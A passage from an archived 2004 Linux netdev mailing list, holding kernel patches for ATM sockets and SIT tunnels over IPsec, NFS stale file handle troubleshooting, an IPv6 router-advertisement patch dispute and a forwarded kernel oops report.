intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1383 -> 1.1384 # net/atm/common.c 1.27 -> 1.28 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/01/15 chas@relax.cmf.nrl.navy.mil 1.1384 # [ATM]: better behavior for sendmsg/recvmsg during async closes # -------------------------------------------- # diff -Nru a/net/atm/common.c b/net/atm/common.c --- a/net/atm/common.c Thu Jan 15 12:28:21 2004 +++ b/net/atm/common.c Thu Jan 15 12:28:21 2004 @@ -510,9 +510,8 @@ return -EOPNOTSUPP; vcc = ATM_SD(sock); if (test_bit(ATM_VF_RELEASED,&vcc->flags) || - test_bit(ATM_VF_CLOSE,&vcc->flags)) - return vcc->reply; - if (!test_bit(ATM_VF_READY, &vcc->flags)) + test_bit(ATM_VF_CLOSE, &vcc->flags) || + !test_bit(ATM_VF_READY, &vcc->flags)) return 0; skb = skb_recv_datagram(sk, flags, flags & MSG_DONTWAIT, &error); @@ -568,12 +567,10 @@ size = m->msg_iov->iov_len; vcc = ATM_SD(sock); if (test_bit(ATM_VF_RELEASED, &vcc->flags) || - test_bit(ATM_VF_CLOSE, &vcc->flags)) { - error = vcc->reply; - goto out; - } - if (!test_bit(ATM_VF_READY, &vcc->flags)) { + test_bit(ATM_VF_CLOSE, &vcc->flags) || + !test_bit(ATM_VF_READY, &vcc->flags)) { error = -EPIPE; + send_sig(SIGPIPE, current, 0); goto out; } if (!size) { @@ -601,12 +598,10 @@ break; } if (test_bit(ATM_VF_RELEASED,&vcc->flags) || - test_bit(ATM_VF_CLOSE,&vcc->flags)) { - error = vcc->reply; - break; - } - if (!test_bit(ATM_VF_READY,&vcc->flags)) { + test_bit(ATM_VF_CLOSE, &vcc->flags) || + !test_bit(ATM_VF_READY, &vcc->flags)) { error = -EPIPE; + send_sig(SIGPIPE, current, 0); break; } } From chas@cmf.nrl.navy.mil Thu Jan 15 19:05:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 19:05:29 -0800 (PST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0G35FNT018755 for ; Thu, 15 Jan 2004 19:05:16 -0800 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id i0G356Rr017388; Thu, 15 Jan 2004 22:05:06 -0500 (EST) Message-Id: <200401160305.i0G356Rr017388@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM]: refcount atm sockets Reply-To: chas3@users.sourceforge.net Date: Thu, 15 Jan 2004 22:05:08 -0500 From: chas williams (contractor) X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 2534 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 1086 Lines: 35 missed this during conversion of atm to a module -- please apply to 2.4 # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1164 -> 1.1165 # net/atm/common.c 1.35 -> 1.36 # -------------------------------------------- # 03/11/25 chas@relax.cmf.nrl.navy.mil 1.1165 # [ATM]: refcount atm sockets # -------------------------------------------- # diff -Nru a/net/atm/common.c b/net/atm/common.c --- a/net/atm/common.c Thu Jan 15 14:42:31 2004 +++ b/net/atm/common.c Thu Jan 15 14:42:31 2004 @@ -246,6 +246,8 @@ printk(KERN_DEBUG "vcc_sock_destruct: wmem leakage (%d bytes) detected.\n", atomic_read(&sk->wmem_alloc)); kfree(sk->protinfo.af_atm); + + MOD_DEC_USE_COUNT; } static void vcc_def_wakeup(struct sock *sk) @@ -316,6 +318,9 @@ vcc->atm_options = vcc->aal_options = 0; sk->destruct = vcc_sock_destruct; sock->sk = sk; + + MOD_INC_USE_COUNT; + return 0; } From chas@cmf.nrl.navy.mil Thu Jan 15 19:19:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 19:19:55 -0800 (PST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0G3JfNT019266 for ; Thu, 15 Jan 2004 19:19:41 -0800 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id i0G3JSRr017497; Thu, 15 Jan 2004 22:19:28 -0500 (EST) Message-Id: <200401160319.i0G3JSRr017497@ginger.cmf.nrl.navy.mil> To: "David S. Miller" cc: Stephen Hemminger , netdev@oss.sgi.com Reply-To: chas3@users.sourceforge.net Subject: Re: [PATCH] (1/5) replay netdev notifier events on registration In-reply-to: Your message of "Thu, 15 Jan 2004 00:42:55 PST." <20040115004255.62dc8b95.davem@redhat.com> Date: Thu, 15 Jan 2004 22:19:29 -0500 From: chas williams (contractor) X-Spam-Score: () hits=-6.8 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 2535 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 597 Lines: 12 In message <20040115004255.62dc8b95.davem@redhat.com>,"David S. Miller" writes: >2) Add a type cookie or similar to the generic netdev, only devices > which need to identify themselves in these generic kind of cases > add identifier values there, so currently that would be MPOA and > QETH, then the code goes: > > if (dev->type_cookie == NETDEV_TYPE_MPOA) > return NOTIFY_DONE; while just as ugly it would probably suffice to check dev->start_xmit() to make sure its the routine you know it should be. since the number of drivers that need to do this seems small this might be simpler. From mfedyk@matchmail.com Thu Jan 15 21:06:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 21:06:59 -0800 (PST) Received: from mtaw4.prodigy.net (mtaw4.prodigy.net [64.164.98.52]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0G56kNT027866 for ; Thu, 15 Jan 2004 21:06:46 -0800 Received: from fileserver.matchmail.com (adsl-63-194-239-202.dsl.lsan03.pacbell.net [63.194.239.202]) by mtaw4.prodigy.net (8.12.10/8.12.10) with ESMTP id i0G56ihX005656; Thu, 15 Jan 2004 21:06:44 -0800 (PST) Received: from [10.0.0.2] (helo=srv-lnx2600.matchmail.com) by matchmail.com with esmtp (Exim 4.30) id 1AhMBu-0004X2-9B; Thu, 15 Jan 2004 21:06:42 -0800 Received: from mfedyk by srv-lnx2600.matchmail.com with local (Exim 4.30) id 1AhMBu-0001ih-6O; Thu, 15 Jan 2004 21:06:42 -0800 Date: Thu, 15 Jan 2004 21:06:42 -0800 From: Mike Fedyk To: linux-kernel@vger.kernel.org Cc: netdev@oss.sgi.com Subject: Fwd: Re: [2.6] nfs_rename: target $file busy, d_count=2 Message-ID: <20040116050642.GF1748@srv-lnx2600.matchmail.com> Mail-Followup-To: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.4i X-archive-position: 2536 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mfedyk@matchmail.com Precedence: bulk X-list: netdev Content-Length: 660 Lines: 20 On Thu, Jan 15, 2004 at 04:54:57PM -0800, Mike Fedyk wrote: > On Thu, Jan 15, 2004 at 04:03:46PM -0800, Mike Fedyk wrote: > > Both client and server are running the same 2.6.1-bk2 kernel with TCP-NFS. > > SMP, Highmem, & preempt. > > I have four clients that are all having this problem also, three 2.6, and > one 2.4 client. > > Using TCP-NFS they all have stale nfs handles even after a reboot (only > rebooted one to try with 2.4.23), but changed one to UDP-NFS, and it didn't > have the stale handles. > > Will do more testing with UDP-NFS. No, TCP and UDP NFS both get stale file handles. :( Can anyone reproduce? ----- End forwarded message ----- From mfedyk@matchmail.com Thu Jan 15 21:16:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 21:16:27 -0800 (PST) Received: from mtaw6.prodigy.net (mtaw6.prodigy.net [64.164.98.56]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0G5G9NT029864 for ; Thu, 15 Jan 2004 21:16:10 -0800 Received: from fileserver.matchmail.com (adsl-63-194-239-202.dsl.lsan03.pacbell.net [63.194.239.202]) by mtaw6.prodigy.net (8.12.10/8.12.10) with ESMTP id i0G5FFFA011706; Thu, 15 Jan 2004 21:15:19 -0800 (PST) Received: from [10.0.0.2] (helo=srv-lnx2600.matchmail.com) by matchmail.com with esmtp (Exim 4.30) id 1AhMJO-0004k6-AM; Thu, 15 Jan 2004 21:14:26 -0800 Received: from mfedyk by srv-lnx2600.matchmail.com with local (Exim 4.30) id 1AhMJO-0001mA-7I; Thu, 15 Jan 2004 21:14:26 -0800 Date: Thu, 15 Jan 2004 21:14:26 -0800 From: Mike Fedyk To: linux-kernel@vger.kernel.org Cc: netdev@oss.sgi.com Subject: Fwd: Re: [2.6] nfs_rename: target $file busy, d_count=2 Message-ID: <20040116051426.GG1748@srv-lnx2600.matchmail.com> Mail-Followup-To: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.4i X-archive-position: 2537 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mfedyk@matchmail.com Precedence: bulk X-list: netdev Content-Length: 660 Lines: 20 On Thu, Jan 15, 2004 at 04:54:57PM -0800, Mike Fedyk wrote: > On Thu, Jan 15, 2004 at 04:03:46PM -0800, Mike Fedyk wrote: > > Both client and server are running the same 2.6.1-bk2 kernel with TCP-NFS. > > SMP, Highmem, & preempt. > > I have four clients that are all having this problem also, three 2.6, and > one 2.4 client. > > Using TCP-NFS they all have stale nfs handles even after a reboot (only > rebooted one to try with 2.4.23), but changed one to UDP-NFS, and it didn't > have the stale handles. > > Will do more testing with UDP-NFS. No, TCP and UDP NFS both get stale file handles. :( Can anyone reproduce? ----- End forwarded message ----- From michal@logix.cz Fri Jan 16 10:38:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 16 Jan 2004 10:38:24 -0800 (PST) Received: from maxipes.logix.cz (maxipes.logix.cz [81.0.234.97]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0GIc8mK027357 for ; Fri, 16 Jan 2004 10:38:09 -0800 Received: from logix.cz (r3e19.mistral.cz [213.220.196.19]) (using TLSv1 with cipher RC4-MD5 (128/128 bits)) (Client CN "Michal Ludvig", Issuer "Personal Freemail RSA 2000.8.30" (verified OK)) by maxipes.logix.cz (Postfix) with ESMTP id 06544F254; Fri, 16 Jan 2004 19:38:06 +0100 (CET) Message-ID: <40082F88.9030705@logix.cz> Date: Fri, 16 Jan 2004 19:38:00 +0100 From: Michal Ludvig User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5b) Gecko/20030814 X-Accept-Language: cs, cz, en MIME-Version: 1.0 To: "David S. Miller" Cc: netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: [PATCH] SIT tunnels over IPsec Content-Type: multipart/mixed; boundary="------------030007080708000805060003" X-archive-position: 2538 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: michal@logix.cz Precedence: bulk X-list: netdev Content-Length: 1669 Lines: 55 This is a multi-part message in MIME format. --------------030007080708000805060003 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hi! The attached patch fixes IPv6-in-IPv4 (SIT) tunnel over IPsec. Without it the SIT packets originated from the same host as the IPsec endpoint is leave the interface unencrypted and of course the tunnel doesn't work. The patch fixes it. Tested. Please apply. Thanks, Michal Ludvig -- * A mouse is a device used to point at the xterm you want to type in. * Personal homepage - http://www.logix.cz/michal --------------030007080708000805060003 Content-Type: text/plain; name="kernel-sit.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="kernel-sit.diff" --- linux-2.6.1.orig/net/ipv6/sit.c 2004-01-09 08:00:03.000000000 +0100 +++ linux-2.6.1/net/ipv6/sit.c 2004-01-16 09:51:13.000000000 +0100 @@ -485,7 +485,8 @@ static int ipip6_tunnel_xmit(struct sk_b { .daddr = dst, .saddr = tiph->saddr, .tos = RT_TOS(tos) } }, - .oif = tunnel->parms.link }; + .oif = tunnel->parms.link, + .proto = IPPROTO_IPV6 }; if (ip_route_output_key(&rt, &fl)) { tunnel->stat.tx_carrier_errors++; goto tx_error_icmp; @@ -757,7 +758,8 @@ static int ipip6_tunnel_init(struct net_ { .daddr = iph->daddr, .saddr = iph->saddr, .tos = RT_TOS(iph->tos) } }, - .oif = tunnel->parms.link }; + .oif = tunnel->parms.link, + .proto = IPPROTO_IPV6 }; struct rtable *rt; if (!ip_route_output_key(&rt, &fl)) { tdev = rt->u.dst.dev; --------------030007080708000805060003-- From xma@us.ibm.com Fri Jan 16 10:39:51 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 16 Jan 2004 10:40:06 -0800 (PST) Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0GIdpmK027500 for ; Fri, 16 Jan 2004 10:39:51 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e33.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0GIcrJh121302; Fri, 16 Jan 2004 13:38:53 -0500 Received: from d03nm124.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0GIcpWl152520; Fri, 16 Jan 2004 11:38:51 -0700 Importance: Normal Sensitivity: Subject: Re: [PATCH] IPv6 MIB:ipv6RouterAdvert netlink notification To: "David S. Miller" Cc: "YOSHIFUJI Hideaki / _$B5HF#1QL@" , mashirle@us.ibm.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: Shirley Ma Date: Fri, 16 Jan 2004 10:38:49 -0800 X-MIMETrack: Serialize by Router on D03NM124/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 01/16/2004 11:38:51 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=08BBE48EDFF5A9108f9e8a93df938690918c08BBE48EDFF5A910" Content-Disposition: inline X-archive-position: 2539 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: xma@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 2985 Lines: 86 --0__=08BBE48EDFF5A9108f9e8a93df938690918c08BBE48EDFF5A910 Content-type: text/plain; charset=US-ASCII Thank Yoshfuji to point out. But the patch is still needed for the Router, so it should be put in ndisc_router_discovery() when it's determined as a router. Are you OK with that? Thanks Shirley Ma IBM Linux Technology Center 15300 SW Koll Parkway Beaverton, OR 97006-6063 Phone: (503) 578-7638 FAX: (503) 578-3228 "David S. Miller" on 01/16/2004 02:01:34 AM To: "YOSHIFUJI Hideaki / _$B5HF#1QL@" cc: Shirley Ma/Beaverton/IBM@IBMUS, mashirle@us.ltcfwd.linux.ibm.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH] IPv6 MIB:ipv6RouterAdvert netlink notification On Fri, 16 Jan 2004 10:37:10 +0900 (JST) YOSHIFUJI Hideaki / _$B5HF#1QL@ wrote: > In article (at Thu, 15 Jan 2004 14:31:47 -0800), Shirley Ma says: > > > This patch is going to be used by SNMP for ipv6RouterAdvert Table. I will > > remove this Micro, and resubmit the patch. > > This patch is conceptually wrong. Ok, since this is controversial I'll back it out of my tree. --0__=08BBE48EDFF5A9108f9e8a93df938690918c08BBE48EDFF5A910 Content-type: text/html; charset=US-ASCII Content-Disposition: inline

Thank Yoshfuji to point out.

But the patch is still needed for the Router, so it should be put in ndisc_router_discovery() when it's determined as a router. Are you OK with that?

Thanks
Shirley Ma
IBM Linux Technology Center
15300 SW Koll Parkway
Beaverton, OR 97006-6063
Phone: (503) 578-7638
FAX: (503) 578-3228


To: "YOSHIFUJI Hideaki / _$B5HF#1QL@" <yoshfuji@linux-ipv6.org>
cc: Shirley Ma/Beaverton/IBM@IBMUS, mashirle@us.ltcfwd.linux.ibm.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org
Subject: Re: [PATCH] IPv6 MIB:ipv6RouterAdvert netlink notification


On Fri, 16 Jan 2004 10:37:10 +0900 (JST)
YOSHIFUJI Hideaki / _$B5HF#1QL@ <yoshfuji@linux-ipv6.org> wrote:

> In article <OFB4F51C5A.FC479F2C-ON87256E1C.007B64B8@us.ibm.com> (at Thu, 15 Jan 2004 14:31:47 -0800), Shirley Ma <xma@us.ibm.com> says:
>
> > This patch is going to be used by SNMP for ipv6RouterAdvert Table. I will
> > remove this Micro, and resubmit the patch.
>
> This patch is conceptually wrong.

Ok, since this is controversial I'll back it out of my tree.


--0__=08BBE48EDFF5A9108f9e8a93df938690918c08BBE48EDFF5A910-- From mfedyk@matchmail.com Fri Jan 16 10:40:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 16 Jan 2004 10:40:59 -0800 (PST) Received: from mtaw6.prodigy.net (mtaw6.prodigy.net [64.164.98.56]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0GIejmK027750 for ; Fri, 16 Jan 2004 10:40:45 -0800 Received: from fileserver.matchmail.com (adsl-63-194-239-202.dsl.lsan03.pacbell.net [63.194.239.202]) by mtaw6.prodigy.net (8.12.10/8.12.10) with ESMTP id i0GIdnFA022595; Fri, 16 Jan 2004 10:39:50 -0800 (PST) Received: from [10.0.0.2] (helo=srv-lnx2600.matchmail.com) by matchmail.com with esmtp (Exim 4.30) id 1AhYtT-0004zh-H4; Fri, 16 Jan 2004 10:40:31 -0800 Received: from mfedyk by srv-lnx2600.matchmail.com with local (Exim 4.30) id 1AhYtT-0001km-CK; Fri, 16 Jan 2004 10:40:31 -0800 Date: Fri, 16 Jan 2004 10:40:31 -0800 From: Mike Fedyk To: Patrick Mau Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [2.6] nfs_rename: target $file busy, d_count=2 Message-ID: <20040116184031.GM1748@srv-lnx2600.matchmail.com> Mail-Followup-To: Patrick Mau , linux-kernel@vger.kernel.org, netdev@oss.sgi.com References: <20040116050642.GF1748@srv-lnx2600.matchmail.com> <20040116130336.GA5220@oscar.prima.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040116130336.GA5220@oscar.prima.de> User-Agent: Mutt/1.5.4i X-archive-position: 2540 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mfedyk@matchmail.com Precedence: bulk X-list: netdev Content-Length: 1031 Lines: 28 On Fri, Jan 16, 2004 at 02:03:36PM +0100, Patrick Mau wrote: > On Thu, Jan 15, 2004 at 09:06:42PM -0800, Mike Fedyk wrote: > > Can anyone reproduce? > > Hi, > > I was able to reproduce stale handles a long time ago. > A workable solution for me was to export using 'no_subtree_check' > on the server. Like this: > > /data \ > tony.local.net(rw,sync,no_root_squash,no_subtree_check) \ > > Could you please try and reply to my address if t works ? I'll have to give it a try next time I get a chance to reboot this server. I only had a few nfs clients doing light load, (kde home directories, and such) and was able to reproduce stale nfs file handles just by running "find > /dev/null" on the nfs share. Have you tried the -mm tree recently? 2.6.1-mm4 even has some new nfsd patches in there (maybe you should wait until -mm5 though, there are a few build problems and such), as well as over 20 nfs client patches. Haven't checked what they all do, but some of them are RPC_GSS support mixed in with the bug fixes. Mike From akpm@osdl.org Fri Jan 16 10:46:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 16 Jan 2004 10:47:12 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0GIkxmK028644 for ; Fri, 16 Jan 2004 10:46:59 -0800 Received: from mnm (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i0GIkro00909; Fri, 16 Jan 2004 10:46:53 -0800 Date: Fri, 16 Jan 2004 10:47:09 -0800 From: Andrew Morton To: netdev@oss.sgi.com Cc: Thomas Schlichter Subject: Fw: Oops in register_proc_table (2.6.1-mm4) Message-Id: <20040116104709.2163912c.akpm@osdl.org> X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="Multipart_Fri__16_Jan_2004_10:47:09_-0800_0830f878" X-archive-position: 2541 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Content-Length: 2726 Lines: 77 This is a multi-part message in MIME format. --Multipart_Fri__16_Jan_2004_10:47:09_-0800_0830f878 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Begin forwarded message: Date: Fri, 16 Jan 2004 19:17:16 +0100 From: Thomas Schlichter To: Andrew Morton , linux-kernel@vger.kernel.org, linux-mm@kvack.org Subject: Oops in register_proc_table (2.6.1-mm4) Hi Andrew, I just saw following Oops in my Kernel messages. I didn'd have this with -mm3. NET: Registered protocol family 10 Unable to handle kernel paging request at virtual address 000927c0 printing eip: c012ba17 *pde = 00000000 Oops: 0000 [#1] PREEMPT CPU: 0 EIP: 0060:[] Not tainted VLI EFLAGS: 00010246 EIP is at register_proc_table+0x47/0x120 eax: 00000000 ebx: e106c9ec ecx: ffffffff edx: 000927c0 esi: 00000000 edi: 000927c0 ebp: c012b130 esp: de4ddd7c ds: 007b es: 007b ss: 0068 Process modprobe (pid: 1936, threadinfo=de4dc000 task=de9e3900) Stack: e1061159 000081a4 de6e5c40 81a40000 de6e5c40 e106d480 00000000 de6e5c40 00000000 c012ba7c e10617fc 0000416d de6e5cc0 416d0000 de6e5cc0 e106d640 00000000 de6e5cc0 00000000 c012ba7c e1061862 0000416d dffccac0 416dddec Call Trace: [] register_proc_table+0xac/0x120 [] register_proc_table+0xac/0x120 [] register_proc_table+0xac/0x120 [] register_sysctl_table+0x5e/0x80 [] ipv6_sysctl_register+0x17/0x20 [ipv6] [] inet6_init+0x18b/0x2d0 [ipv6] [] sys_init_module+0x17b/0x1670 [] vma_link+0x76/0xc0 [] do_mmap_pgoff+0x38c/0x6f9 [] filp_close+0x59/0xa0 [] sys_close+0x5b/0xa0 [] syscall_call+0x7/0xb Code: 33 85 f6 0f 84 9b 00 00 00 8b 53 04 85 d2 89 d7 74 ea 8b 73 18 85 f6 75 0b 8b 43 14 85 c0 0f 84 cb 00 00 00 31 c0 b9 ff ff ff ff a e f7 d1 49 85 f6 0f b7 43 10 89 cd 66 89 44 24 0e 74 6d 66 <7>request_module: failed /sbin/modprobe -- net-pf-10. error = 11 If this is not enough information to track down the problem I can provide my .config of any other information, of course. Best regards Thomas Schlichter --Multipart_Fri__16_Jan_2004_10:47:09_-0800_0830f878 Content-Type: application/pgp-signature; name="00000003.mimetmp" Content-Disposition: attachment; filename="00000003.mimetmp" Content-Transfer-Encoding: base64 LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KVmVyc2lvbjogR251UEcgdjEuMi4yIChHTlUv TGludXgpCgppRDhEQlFCQUNDcXdZQWlOK1dSSVp6UVJBdUUvQUo5VkdrMnQvckNCWHJxdTQ0R2c4 OXRKemlIV3F3Q2dxZ2k1Ck5xa3R6VFM0cU9ENmlHSjJ3SW9YT2VZPQo9dzRSdQotLS0tLUVORCBQ R1AgU0lHTkFUVVJFLS0tLS0KCg== --Multipart_Fri__16_Jan_2004_10:47:09_-0800_0830f878-- From mfedyk@matchmail.com Fri Jan 16 10:55:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 16 Jan 2004 10:55:28 -0800 (PST) Received: from mta7.pltn13.pbi.net (mta7.pltn13.pbi.net [64.164.98.8]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0GItFmK029411 for ; Fri, 16 Jan 2004 10:55:15 -0800 Received: from fileserver.matchmail.com (adsl-63-194-239-202.dsl.lsan03.pacbell.net [63.194.239.202]) by mta7.pltn13.pbi.net (8.12.10/8.12.10) with ESMTP id i0GItBAw022952; Fri, 16 Jan 2004 10:55:12 -0800 (PST) Received: from [10.0.0.2] (helo=srv-lnx2600.matchmail.com) by matchmail.com with esmtp (Exim 4.30) id 1AhZ7Y-0005c9-Tq; Fri, 16 Jan 2004 10:55:04 -0800 Received: from mfedyk by srv-lnx2600.matchmail.com with local (Exim 4.30) id 1AhZ7Y-0001sP-Nv; Fri, 16 Jan 2004 10:55:04 -0800 Date: Fri, 16 Jan 2004 10:55:04 -0800 From: Mike Fedyk To: Patrick Mau , linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Stale Filehandles was: [2.6] nfs_rename: target $file busy, d_count=2 Message-ID: <20040116185504.GN1748@srv-lnx2600.matchmail.com> Mail-Followup-To: Patrick Mau , linux-kernel@vger.kernel.org, netdev@oss.sgi.com References: <20040116050642.GF1748@srv-lnx2600.matchmail.com> <20040116130336.GA5220@oscar.prima.de> <20040116184031.GM1748@srv-lnx2600.matchmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040116184031.GM1748@srv-lnx2600.matchmail.com> User-Agent: Mutt/1.5.4i X-archive-position: 2542 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mfedyk@matchmail.com Precedence: bulk X-list: netdev Content-Length: 756 Lines: 15 On Fri, Jan 16, 2004 at 10:40:31AM -0800, Mike Fedyk wrote: > I only had a few nfs clients doing light load, (kde home directories, and > such) and was able to reproduce stale nfs file handles just by running "find > > /dev/null" on the nfs share. > > Have you tried the -mm tree recently? 2.6.1-mm4 even has some new nfsd > patches in there (maybe you should wait until -mm5 though, there are a few Stale filehandles is the main problem right now, and I don't see how nfs_raname would be related (just that it was there while I was having trouble with the stale file handles...) http://www.kernel.org/pub/linux/kernel/people/akpm/patches/2.6/2.6.1/2.6.1-mm4/broken-out/nfsd-01-stale-filehandles-fixes.patch This one looks particularly interesting... From yoshfuji@linux-ipv6.org Fri Jan 16 11:16:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 16 Jan 2004 11:17:10 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0GJGumK030439 for ; Fri, 16 Jan 2004 11:16:57 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 77C3933CA5; Sat, 17 Jan 2004 04:17:25 +0900 (JST) Date: Sat, 17 Jan 2004 04:17:25 +0900 (JST) Message-Id: <20040117.041725.120019170.yoshfuji@linux-ipv6.org> To: xma@us.ibm.com Cc: davem@redhat.com, mashirle@us.ibm.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH] IPv6 MIB:ipv6RouterAdvert netlink notification From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2543 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 500 Lines: 12 In article (at Fri, 16 Jan 2004 10:38:49 -0800), Shirley Ma says: > But the patch is still needed for the Router, so it should be put in > ndisc_router_discovery() when it's determined as a router. Are you OK with > that? I don't understand why it is needed. radvd is respoinsible for those information. -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From akpm@osdl.org Fri Jan 16 11:21:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 16 Jan 2004 11:22:09 